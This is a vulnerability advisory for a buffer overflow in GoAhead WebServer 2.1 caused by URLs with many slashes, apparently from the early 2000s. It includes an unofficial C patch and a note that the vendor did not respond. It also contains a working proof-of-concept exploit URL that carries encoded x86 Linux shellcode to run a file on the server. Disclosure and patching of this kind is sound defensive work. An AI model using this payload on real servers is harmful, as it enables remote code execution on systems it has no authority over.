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  GoAhead Buffer Overflows (Multiple Slashes, Exploit)
------------------------------------------------------------------------


SUMMARY

The  <http://www.goahead.com/webserver/wsover.htm> GoAhead WebServer is an 
open standard Web server compliant with all necessary standards to be an 
effective embedded Web server. A security vulnerability in the product 
allows remote attackers to cause an overflow in the program, causing it to 
execute arbitrary code.

DETAILS

Vulnerable systems:
 * GoAhead Web Server version 2.1

Exploit:
A proof of concept exploit of this severe problem is attached herein. This 
exploit works on an ix86 Linux machine and will cause the web server to 
execute the 'sh' file in the working directory of the web server. Note 
that it is quite trivial to adapt the exploit to execute any chosen 
executable file on the system. To test the exploit simply point a browser 
to the GoAhead web server and issue a request to the URL supplied in the 
attached file exploit.txt.

http://10.0.0.3/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/
x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/%eb%1f%5e%89%76%08%31%c0%88%46%
07%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%db%89%d8%40%cd%80%e8
%dc%ff%ff%ffreboot

Unofficial fix:
diff -u ws212-020612/default.c ws212-020612gby/default.c
--- ws212-020612/default.c  Wed Jun 12 19:38:48 2002
+++ ws212-020612gby/default.c  Wed Jun 19 16:34:24 2002
@@ -204,9 +204,11 @@
  *  is bad.
  */
 
+#define MAXDIRPATH (64)
+
 int websValidateUrl(webs_t wp, char_t *path)
 {
-  char_t  *parts[64];          /* Array of ptr's to URL parts */
+  char_t  *parts[MAXDIRPATH];          /* Array of ptr's to URL parts */
   char_t  *token, *dir, *lpath;
   int    i, len, npart;
 
@@ -241,7 +243,11 @@
     } else if (gstrcmp(token, T(".")) != 0) {
       parts[npart] = token;
       len += gstrlen(token) + 1;
-      npart++;
+      if(++npart >= MAXDIRPATH) {
+      /* Damn script kitties... */
+        bfree(B_L, path);
+        return -1;
+      } 
     }
     token = gstrtok(NULL, T("/"));
   }

Vendor response:
GoAhead, makers of the GoAhead web server and Art &Logic, their support 
partner were both contacted on three different occasions during the last 
three months but supplied no meaningful response.


ADDITIONAL INFORMATION

The information has been provided by Anonymous.



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